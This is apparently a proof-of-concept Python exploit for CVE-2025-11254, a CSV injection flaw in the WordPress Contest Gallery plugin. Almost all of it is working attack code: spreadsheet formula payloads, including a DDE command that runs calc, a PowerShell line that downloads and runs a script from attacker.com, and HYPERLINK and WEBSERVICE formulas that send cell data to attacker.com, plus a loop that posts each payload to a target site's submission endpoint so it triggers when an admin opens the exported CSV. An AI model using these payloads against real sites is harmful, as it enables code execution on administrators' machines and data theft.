CVE-2025-11254 WordPress Contest Gallery插件CSV注入漏洞

# CVE-2025-11254 - Contest Gallery CSV Injection PoC # Attackers inject malicious formulas via gallery submission fields # (e.g., contestant name, description, comment fields) import requests TARGET_URL = "https://target-wordpress-site.com" # The Contest Gallery plugin typically exposes a submission endpoint # The exact endpoint varies based on gallery configuration SUBMIT_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Malicious CSV injection payloads # These will be embedded into exported CSV files and executed when opened in Excel/LibreOffice PAYLOADS = [ # Windows command execution via DDE in Excel '=cmd|\"/c calc.exe\"!A1', # PowerShell reverse shell (example) '=cmd|\"/c powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/shell.ps1\")\"!A1', # Data exfiltration via HYPERLINK '=HYPERLINK("http://attacker.com/exfil?data="&A1, "Click for results")', # Data exfiltration via WEBSERVICE (LibreOffice) '=WEBSERVICE("http://attacker.com/exfil?"&A1)', # Alternative formula triggers '+cmd|\"/c calc\"!A1', '@SUM(1+1)*cmd|\"/c calc\"!A1', ] def inject_csv_payload(gallery_id, field_name, payload): """ Submit a malicious payload through the Contest Gallery submission form. The payload will be stored in the database and later exported to CSV. """ data = { "action": "cg_submit_gallery", # Plugin-specific action "cg_gallery_id": gallery_id, "cg_upload": "1", field_name: payload, # Inject into a text field like name/description } response = requests.post(SUBMIT_ENDPOINT, data=data) return response # Example usage: inject payload into contestant name field # gallery_id should be replaced with a valid gallery ID from the target site for payload in PAYLOADS: result = inject_csv_payload(gallery_id="1", field_name="cg_name", payload=payload) print(f"Payload submitted: {payload[:50]}... | Status: {result.status_code}") # After submission, when an admin exports gallery data as CSV, # the malicious formulas will be embedded in the exported file. # Opening the CSV in Excel/LibreOffice triggers code execution.